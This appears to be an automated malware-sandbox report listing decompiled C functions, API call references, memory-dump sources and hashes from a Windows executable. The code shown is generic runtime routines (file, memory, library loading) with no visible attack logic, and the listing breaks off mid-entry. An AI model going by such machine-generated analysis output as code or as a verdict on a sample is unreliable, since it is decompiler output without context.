0x0040b1aa
0x0040b1bb
0x0040b1c3
0x0040b1d0
0x0040b1d5
0x0040b1d8
0x0040b1da
0x0040b1e1
0x0040b1e3
0x0040b1eb
0x0040b1f8
0x0040b1f8
0x0040b1e1
0x0040b1fd
0x0040b200
0x0040b207
0x0040b207
0x0040b1ac
0x0040b1b4
0x0040b1b4
0x00000000
0x0040b1aa
0x0040b176
0x0040b196
0x0040b197
0x0040b199
0x00000000
0x00000000
0x00000000
0x0040b199
0x0040b185
0x0040b18f
0x00000000

APIs

GetUserDefaultUILanguage.KERNEL32(00000000,0040B227,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040B2AE,00000000,?,00000105), ref: 0040B1BB
GetSystemDefaultUILanguage.KERNEL32(00000000,0040B227,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040B2AE,00000000,?,00000105), ref: 0040B1E3

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: DefaultLanguage$SystemUser
String ID:
API String ID: 384301227-0
Opcode ID: 8091743a5a45bbad2069f173d476493d8776fa257b9783c2651a700d4e0e0a8f
Instruction ID: e5bcb09f7540d0846d638ab8db7cc306f2a88a3609992180fc1e837192b0f5a6
Opcode Fuzzy Hash: 8091743a5a45bbad2069f173d476493d8776fa257b9783c2651a700d4e0e0a8f
Instruction Fuzzy Hash: B0313070A142499BDB10EBA5C891AAEB7B5EF48304F50857BE400B73D1DB7CAD41CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B234, Relevance: 3.1, APIs: 2, Instructions: 55
libraryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B234(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				short _v530;
				char _v536;
				char _v540;
				void* _t44;
				intOrPtr _t45;
				void* _t49;
				void* _t52;

				_v536 = 0;
				_v540 = 0;
				_v8 = 0;
				_t49 = __eax;
				_push(_t52);
				_push(0x40b2ee);
				_push( *[fs:eax]);
				 *[fs:eax] = _t52 + 0xfffffde8;
				GetModuleFileNameW(0,  &_v530, 0x105);
				E00408550( &_v536, _t49);
				_push(_v536);
				E0040858C( &_v540, 0x105,  &_v530);
				_pop(_t44); // executed
				E0040B110(_v540, 0,  &_v8, _t44, __edi, _t49); // executed
				if(_v8 != 0) {
					LoadLibraryExW(E004084EC(_v8), 0, 2);
				}
				_pop(_t45);
				 *[fs:eax] = _t45;
				_push(E0040B2F5);
				E00407A80( &_v540, 2);
				return E00407A20( &_v8);
			}

0x0040b241
0x0040b247
0x0040b24d
0x0040b250
0x0040b254
0x0040b255
0x0040b25a
0x0040b25d
0x0040b270
0x0040b27d
0x0040b288
0x0040b29a
0x0040b2a8
0x0040b2a9
0x0040b2b2
0x0040b2c1
0x0040b2c6
0x0040b2ca
0x0040b2cd
0x0040b2d0
0x0040b2e0
0x0040b2ed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040B2EE,?,?,00000000), ref: 0040B270
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040B2EE,?,?,00000000), ref: 0040B2C1

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileLibraryLoadModuleName
String ID:
API String ID: 1159719554-0
Opcode ID: c89eb0a175d0b8486c29a163bc28afc1dff8206c8c77fc3926f93841ada109dc
Instruction ID: c66d7809fa1512833e1e01641763b0ecb7dd00f0751393a0e64d94d028879d96
Opcode Fuzzy Hash: c89eb0a175d0b8486c29a163bc28afc1dff8206c8c77fc3926f93841ada109dc
Instruction Fuzzy Hash: 35116070A4421CABDB10EB55CD86BDE77B8DB04304F5144BEE508B32C1DA785F848AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00427154, Relevance: 3.0, APIs: 2, Instructions: 42
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00427154(void* __eax, void* __edx, void* __eflags) {
				int _v8;
				char _v16;
				long _v20;
				int _t13;
				intOrPtr _t27;
				void* _t32;
				void* _t34;
				intOrPtr _t35;

				_t32 = _t34;
				_t35 = _t34 + 0xfffffff0;
				if(E00427108(__eax,  &_v16) != 0) {
					_push(_t32);
					_push(0x4271b1);
					_push( *[fs:eax]);
					 *[fs:eax] = _t35;
					_t13 = DeleteFileW(E004084EC(__edx)); // executed
					_v8 = _t13;
					_v20 = GetLastError();
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(E004271B8);
					return E00427144( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00427155
0x00427157
0x0042716c
0x00427177
0x00427178
0x0042717d
0x00427180
0x0042718b
0x00427190
0x00427198
0x0042719d
0x004271a0
0x004271a3
0x004271b0
0x0042716e
0x00427170
0x004271c9
0x004271c9

APIs

DeleteFileW.KERNEL32(00000000,00000000,004271B1,?,0000000D,00000000), ref: 0042718B
GetLastError.KERNEL32(00000000,00000000,004271B1,?,0000000D,00000000), ref: 00427193

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 6bce5fda464dbdacec63520f594f5bcb5d9fb2b97579abb83185b4526990ec2d
Instruction ID: b2b9a58b343adce66678156e8009272800f6ed28378062f2bcdc1a6b1bb3db77
Opcode Fuzzy Hash: 6bce5fda464dbdacec63520f594f5bcb5d9fb2b97579abb83185b4526990ec2d
Instruction Fuzzy Hash: 7AF0C831B08228ABDB01EFB5AC424AEB7E8DF0971479149BBE804E3341E6395D209698

Uniqueness

Uniqueness Score: -1.00%

Function 00421230, Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00421230(void* __eax, void* __ebx, int __edx) {
				struct HINSTANCE__* _v12;
				int _v16;
				int _t4;
				struct HINSTANCE__* _t9;
				void* _t12;
				intOrPtr _t16;
				void* _t18;
				void* _t19;
				intOrPtr _t20;

				_t18 = _t19;
				_t20 = _t19 + 0xfffffff4;
				_t12 = __eax;
				_t4 = SetErrorMode(__edx); // executed
				_v16 = _t4;
				_push(_t18);
				_push(0x4212a2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				asm("fnstcw word [ebp-0x2]");
				_push(_t18);
				_push(0x421284);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				_t9 = LoadLibraryW(E004084EC(_t12)); // executed
				_v12 = _t9;
				_pop(_t16);
				 *[fs:eax] = _t16;
				_push(0x42128b);
				asm("fclex");
				asm("fldcw word [ebp-0x2]");
				return 0;
			}

0x00421231
0x00421233
0x00421237
0x0042123a
0x0042123f
0x00421244
0x00421245
0x0042124a
0x0042124d
0x00421250
0x00421255
0x00421256
0x0042125b
0x0042125e
0x00421269
0x0042126e
0x00421273
0x00421276
0x00421279
0x0042127e
0x00421280
0x00421283

APIs

SetErrorMode.KERNEL32 ref: 0042123A
LoadLibraryW.KERNEL32(00000000,00000000,00421284,?,00000000,004212A2), ref: 00421269

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 5d62b3fe4766baadd73c675683546c7f58e01c4ce11fe1a914dda1a55ed8f36c
Instruction ID: 4174928c950a8c4d8a753a2a73b5e5f46ee32f9a8ef6f103d2b3a03bcfaff51e
Opcode Fuzzy Hash: 5d62b3fe4766baadd73c675683546c7f58e01c4ce11fe1a914dda1a55ed8f36c
Instruction Fuzzy Hash: 15F08270A14744BFDB115F779C5282BBAACE709B047A348BAF800F2691E53C48208574

Uniqueness

Uniqueness Score: -1.00%

Function 004052D4, Relevance: 2.6, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004052D4() {
				intOrPtr _t13;
				intOrPtr* _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;
				void* _t26;
				void* _t28;
				void* _t31;

				_t28 =  *0x004BBADC;
				while(_t28 != 0x4bbad8) {
					_t2 = _t28 + 4; // 0x4bbad8
					VirtualFree(_t28, 0, 0x8000); // executed
					_t28 =  *_t2;
				}
				_t25 = 0x37;
				_t13 = 0x4b7080;
				do {
					 *((intOrPtr*)(_t13 + 0xc)) = _t13;
					 *((intOrPtr*)(_t13 + 8)) = _t13;
					 *((intOrPtr*)(_t13 + 0x10)) = 1;
					 *((intOrPtr*)(_t13 + 0x14)) = 0;
					_t13 = _t13 + 0x20;
					_t25 = _t25 - 1;
				} while (_t25 != 0);
				 *0x4bbad8 = 0x4bbad8;
				 *0x004BBADC = 0x4bbad8;
				_t26 = 0x400;
				_t23 = 0x4bbb78;
				do {
					_t14 = _t23;
					 *_t14 = _t14;
					_t8 = _t14 + 4; // 0x4bbb78
					 *_t8 = _t14;
					_t23 = _t23 + 8;
					_t26 = _t26 - 1;
				} while (_t26 != 0);
				 *0x4bbaf4 = 0;
				E00405884(0x4bbaf8, 0x80);
				_t18 = 0;
				 *0x4bbaf0 = 0;
				_t31 =  *0x004BDB80;
				while(_t31 != 0x4bdb7c) {
					_t10 = _t31 + 4; // 0x4bdb7c
					_t18 = VirtualFree(_t31, 0, 0x8000);
					_t31 =  *_t10;
				}
				 *0x4bdb7c = 0x4bdb7c;
				 *0x004BDB80 = 0x4bdb7c;
				return _t18;
			}

0x004052e2
0x004052f9
0x004052e7
0x004052f2
0x004052f7
0x004052f7
0x004052fd
0x00405302
0x00405307
0x00405309
0x0040530e
0x00405311
0x0040531a
0x0040531d
0x00405320
0x00405320
0x00405323
0x00405325
0x00405328
0x0040532d
0x00405332
0x00405332
0x00405334
0x00405336
0x00405336
0x00405339
0x0040533c
0x0040533c
0x00405341
0x00405352
0x00405357
0x00405359
0x0040535e
0x00405375
0x00405363
0x0040536e
0x00405373
0x00405373
0x00405379
0x0040537b
0x00405382

APIs

VirtualFree.KERNEL32(004BBAD8,00000000,00008000,?,?,?,?,004053D4,0040CB76,00000000,0040CB94), ref: 004052F2
VirtualFree.KERNEL32(004BDB7C,00000000,00008000,004BBAD8,00000000,00008000,?,?,?,?,004053D4,0040CB76,00000000,0040CB94), ref: 0040536E

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 2ac254642d4a9788115c799da738c06d3b344f11962515fad3d8dec7c1c1ac76
Instruction ID: 8dfda0fc8014d777c4f42bdf36328f4fb77b4e1ecbcf9529c7d2d9386e1eba40
Opcode Fuzzy Hash: 2ac254642d4a9788115c799da738c06d3b344f11962515fad3d8dec7c1c1ac76
Instruction Fuzzy Hash: A5116D71A046008FC7689F199840B67BBE4EB88754F15C0BFE549EB791D7B8AC018F9C

Uniqueness

Uniqueness Score: -1.00%

Function 004232EC, Relevance: 1.5, APIs: 1, Instructions: 28
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004232EC(long __eax, void* __edx) {
				short _v2052;
				signed int _t7;
				void* _t10;
				signed int _t16;
				void* _t17;

				_t10 = __edx;
				_t7 = FormatMessageW(0x3200, 0, __eax, 0,  &_v2052, 0x400, 0); // executed
				while(_t7 > 0) {
					_t16 =  *(_t17 + _t7 * 2 - 2) & 0x0000ffff;
					if(_t16 <= 0x20) {
						L1:
						_t7 = _t7 - 1;
						__eflags = _t7;
						continue;
					} else {
						_t20 = _t16 - 0x2e;
						if(_t16 == 0x2e) {
							goto L1;
						}
					}
					break;
				}
				return E00407BA8(_t10, _t7, _t17, _t20);
			}

0x004232f3
0x0042330b
0x00423313
0x00423317
0x00423320
0x00423312
0x00423312
0x00423312
0x00000000
0x00423322
0x00423322
0x00423326
0x00000000
0x00000000
0x00423326
0x00000000
0x00423320
0x00423339

APIs

FormatMessageW.KERNEL32(00003200,00000000,00000000,00000000,?,00000400,00000000,00000000,00423C1E,00000000,00423C6F,?,00423E28), ref: 0042330B

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 8c28d4cd2feba8420b72e2c8323dac74420019247290cbce7f55a68a80108edc
Instruction ID: 75fedbff241bec6efc8727d26b236f8c34027f11b3bdd8370f626a5f6d270aaf
Opcode Fuzzy Hash: 8c28d4cd2feba8420b72e2c8323dac74420019247290cbce7f55a68a80108edc
Instruction Fuzzy Hash: 89E0D86075432121F624A9052C03B7B2129A7C0B12FE084367A80DE3D5DEADAF55525E

Uniqueness

Uniqueness Score: -1.00%

Function 00422A18, Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00422A18(void* __eax, void* __ebx, void* __ecx, void* __eflags) {
				char _v8;
				intOrPtr _t21;
				intOrPtr _t24;

				_push(0);
				_push(_t24);
				_push(0x422a5e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t24;
				E004229AC(__eax, __ecx,  &_v8, __eflags);
				GetFileAttributesW(E004084EC(_v8)); // executed
				_pop(_t21);
				 *[fs:eax] = _t21;
				_push(E00422A65);
				return E00407A20( &_v8);
			}

0x00422a1b
0x00422a22
0x00422a23
0x00422a28
0x00422a2b
0x00422a33
0x00422a41
0x00422a4a
0x00422a4d
0x00422a50
0x00422a5d

APIs

GetFileAttributesW.KERNEL32(00000000,00000000,00422A5E,?,?,00000000,?,00422A71,00422DE2,00000000,00422E27,?,?,00000000,00000000), ref: 00422A41

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8cd9a521966ca01502d57987e2d96a70fbf8ec2bcb71e07358b87aea606a80f7
Instruction ID: ce0c41168f735205187e46b6c3e9294348714fcf51f30dd0002a5427be662740
Opcode Fuzzy Hash: 8cd9a521966ca01502d57987e2d96a70fbf8ec2bcb71e07358b87aea606a80f7
Instruction Fuzzy Hash: D7E09231704308BBD721EB76DE9291AB7ECD788700BA14876B500E7682E6B86E108418

Uniqueness

Uniqueness Score: -1.00%

Function 00423DA8, Relevance: 1.5, APIs: 1, Instructions: 26
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423DA8(signed int __ecx, void* __edx, signed char _a4, signed char _a8) {
				void* _t17;

				_t17 = CreateFileW(E004084EC(__edx),  *(0x4b92e0 + (_a8 & 0x000000ff) * 4),  *(0x4b92ec + (_a4 & 0x000000ff) * 4), 0,  *(0x4b92fc + (__ecx & 0x000000ff) * 4), 0x80, 0); // executed
				return _t17;
			}

0x00423de5
0x00423ded

APIs

CreateFileW.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00423DE5

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dd9159e21b70a0e7bcb8d3c3b5b03a1c2ffc365921e6ade8a7c7864e99aae5ed
Instruction ID: 37fe8146f2431012b4276926014d9d5fd10bf57e8855788e2bc853c5fce69268
Opcode Fuzzy Hash: dd9159e21b70a0e7bcb8d3c3b5b03a1c2ffc365921e6ade8a7c7864e99aae5ed
Instruction Fuzzy Hash: 81E048716441283FD6149ADE7C91F76779C9709754F404563F684D7281C4A59D1086FC

Uniqueness

Uniqueness Score: -1.00%

Function 00409FA8, Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409FA8(void* __eax) {
				short _v532;
				void* __ebx;
				void* __esi;
				intOrPtr _t14;
				void* _t16;
				void* _t18;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t16 = __eax;
				_t22 =  *((intOrPtr*)(__eax + 0x10));
				if( *((intOrPtr*)(__eax + 0x10)) == 0) {
					GetModuleFileNameW( *(__eax + 4),  &_v532, 0x20a);
					_t14 = E0040B234(_t21, _t16, _t18, _t19, _t22); // executed
					_t20 = _t14;
					 *((intOrPtr*)(_t16 + 0x10)) = _t20;
					if(_t20 == 0) {
						 *((intOrPtr*)(_t16 + 0x10)) =  *((intOrPtr*)(_t16 + 4));
					}
				}
				return  *((intOrPtr*)(_t16 + 0x10));
			}

0x00409fb0
0x00409fb2
0x00409fb6
0x00409fc6
0x00409fcf
0x00409fd4
0x00409fd6
0x00409fdb
0x00409fe0
0x00409fe0
0x00409fdb
0x00409fee

APIs

GetModuleFileNameW.KERNEL32(?,?,0000020A), ref: 00409FC6

Part of subcall function 0040B234: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040B2EE,?,?,00000000), ref: 0040B270
Part of subcall function 0040B234: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040B2EE,?,?,00000000), ref: 0040B2C1

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: 2301add7ea149dd4fbebfdf59b7b3942b6e3d1df22e9777a155c308e994de31e
Instruction ID: 1beb63cefa55d3dba2b36e2095187d50c135a0cf4330adb642bee8d6847d8901
Opcode Fuzzy Hash: 2301add7ea149dd4fbebfdf59b7b3942b6e3d1df22e9777a155c308e994de31e
Instruction Fuzzy Hash: 7BE0C971A013119BCB10DE58C8C5A4A3798AB08754F044AA6AD24DF387D3B5DD1487D5

Uniqueness

Uniqueness Score: -1.00%

Function 00423ED8, Relevance: 1.5, APIs: 1, Instructions: 11
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423ED8(intOrPtr* __eax) {
				int _t4;
				intOrPtr* _t7;

				_t7 = __eax;
				_t4 = SetEndOfFile( *(__eax + 4)); // executed
				if(_t4 == 0) {
					return E00423CAC( *_t7);
				}
				return _t4;
			}

0x00423ed9
0x00423edf
0x00423ee6
0x00000000
0x00423eea
0x00423ef0

APIs

SetEndOfFile.KERNEL32(?,7FBD0010,004B6358,00000000), ref: 00423EDF

Part of subcall function 00423CAC: GetLastError.KERNEL32(004237FC,00423D4F,?,?,00000000,?,004B5F76,00000001,00000000,00000002,00000000,004B659E,?,00000000,004B65E2), ref: 00423CAF

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 09339d9670a81d77462708df034512c3e9d7a5ee9c38b49a5b5d33688a33920b
Instruction ID: ae15968ab9cd064c61534cde2c099b4aac4a7b80231ae1acb8e6de6fcc6ca8bf
Opcode Fuzzy Hash: 09339d9670a81d77462708df034512c3e9d7a5ee9c38b49a5b5d33688a33920b
Instruction Fuzzy Hash: 58C04C61300210478B04EEBBD5C190666E85B582157414466B904DB216E67DD9158615

Uniqueness

Uniqueness Score: -1.00%

Function 0040CAA4, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CAA4() {
				intOrPtr _v16;
				struct _SYSTEM_INFO* _t3;

				GetSystemInfo(_t3); // executed
				return _v16;
			}

0x0040caa8
0x0040cab4

APIs

GetSystemInfo.KERNEL32 ref: 0040CAA8

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 9dd1f6b5bb1b0da35443b21aa4a452d0333aba70165927044b368234b0936b7a
Instruction ID: 4f21eec972071caf62eebbeb90550a79e4d7a8082c8b53f17589c9beddeb5e45
Opcode Fuzzy Hash: 9dd1f6b5bb1b0da35443b21aa4a452d0333aba70165927044b368234b0936b7a
Instruction Fuzzy Hash: CDA012984088002AC404AB194C4340F39C819C1114FC40224745CB62C2E61D866403DB

Uniqueness

Uniqueness Score: -1.00%

Function 00403BCC, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BCC(signed int __eax) {
				void* _t4;
				intOrPtr _t7;
				signed int _t8;
				void** _t10;
				void* _t12;
				void* _t14;

				_t8 = __eax;
				E00403B60(__eax);
				_t4 = VirtualAlloc(0, 0x13fff0, 0x1000, 4); // executed
				if(_t4 == 0) {
					 *0x4bbaf0 = 0;
					return 0;
				} else {
					_t10 =  *0x4bbadc; // 0x4bbad8
					_t14 = _t4;
					 *_t14 = 0x4bbad8;
					 *0x4bbadc = _t4;
					 *(_t14 + 4) = _t10;
					 *_t10 = _t4;
					_t12 = _t14 + 0x13fff0;
					 *((intOrPtr*)(_t12 - 4)) = 2;
					 *0x4bbaf0 = 0x13ffe0 - _t8;
					_t7 = _t12 - _t8;
					 *0x4bbaec = _t7;
					 *(_t7 - 4) = _t8 | 0x00000002;
					return _t7;
				}
			}

0x00403bce
0x00403bd0
0x00403be3
0x00403bea
0x00403c3c
0x00403c45
0x00403bec
0x00403bec
0x00403bf2
0x00403bf4
0x00403bfa
0x00403bff
0x00403c02
0x00403c06
0x00403c11
0x00403c1e
0x00403c26
0x00403c28
0x00403c35
0x00403c39
0x00403c39

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,000001A3,004041E3,000000FF,00404788,00000000,0040BBE7,00000000,0040C0F5,00000000,0040C3B7,00000000), ref: 00403BE3

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cb8f292e3956ad7a1a5e0c92f19b435d8be5366ce3ed5ca5418bf36ecf0e0e1a
Instruction ID: ee114c9f451a66722181258b66a673b4223530c98f306d9f720d31c7abdd50f3
Opcode Fuzzy Hash: cb8f292e3956ad7a1a5e0c92f19b435d8be5366ce3ed5ca5418bf36ecf0e0e1a
Instruction Fuzzy Hash: 71F087F2F002404FE7249F799D40742BAE8E709315B10827EE908EB799E7F488018B88

Uniqueness

Uniqueness Score: -1.00%

Function 00403CF6, Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00403CF6(void* __eax) {
				struct _MEMORY_BASIC_INFORMATION _v44;
				void* _v48;
				void* _t13;
				int _t20;
				void* _t22;
				signed int _t26;
				signed int _t29;
				signed int _t30;
				void* _t34;
				intOrPtr _t35;
				signed int _t39;
				void* _t41;
				void* _t42;

				_push(_t29);
				_t42 = _t41 + 0xffffffdc;
				_t34 = __eax - 0x10;
				E00403C48();
				_t13 = _t34;
				 *_t42 =  *_t13;
				_v48 =  *((intOrPtr*)(_t13 + 4));
				_t26 =  *(_t13 + 0xc);
				if((_t26 & 0x00000008) != 0) {
					_t22 = _t34;
					_t39 = _t26 & 0xfffffff0;
					_t30 = 0;
					while(1) {
						VirtualQuery(_t22,  &_v44, 0x1c);
						if(VirtualFree(_t22, 0, 0x8000) == 0) {
							break;
						}
						_t35 = _v44.RegionSize;
						if(_t39 > _t35) {
							_t39 = _t39 - _t35;
							_t22 = _t22 + _t35;
							continue;
						}
						goto L10;
					}
					_t30 = _t30 | 0xffffffff;
				} else {
					_t20 = VirtualFree(_t34, 0, 0x8000); // executed
					if(_t20 == 0) {
						_t30 = _t29 | 0xffffffff;
					} else {
						_t30 = 0;
					}
				}
				L10:
				if(_t30 == 0) {
					 *_v48 =  *_t42;
					 *( *_t42 + 4) = _v48;
				}
				 *0x4bdb78 = 0;
				return _t30;
			}

0x00403cfa
0x00403cfc
0x00403d01
0x00403d04
0x00403d09
0x00403d0d
0x00403d13
0x00403d17
0x00403d1d
0x00403d39
0x00403d3d
0x00403d40
0x00403d42
0x00403d4a
0x00403d5e
0x00000000
0x00000000
0x00403d65
0x00403d6b
0x00403d6d
0x00403d6f
0x00000000
0x00403d6f
0x00000000
0x00403d6b
0x00403d60
0x00403d1f
0x00403d27
0x00403d2e
0x00403d34
0x00403d30
0x00403d30
0x00403d30
0x00403d2e
0x00403d73
0x00403d75
0x00403d7e
0x00403d87
0x00403d87
0x00403d8a
0x00403d9a

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 00403D27
VirtualQuery.KERNEL32(?,?,0000001C), ref: 00403D4A
VirtualFree.KERNEL32(?,00000000,00008000,?,?,0000001C), ref: 00403D57

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
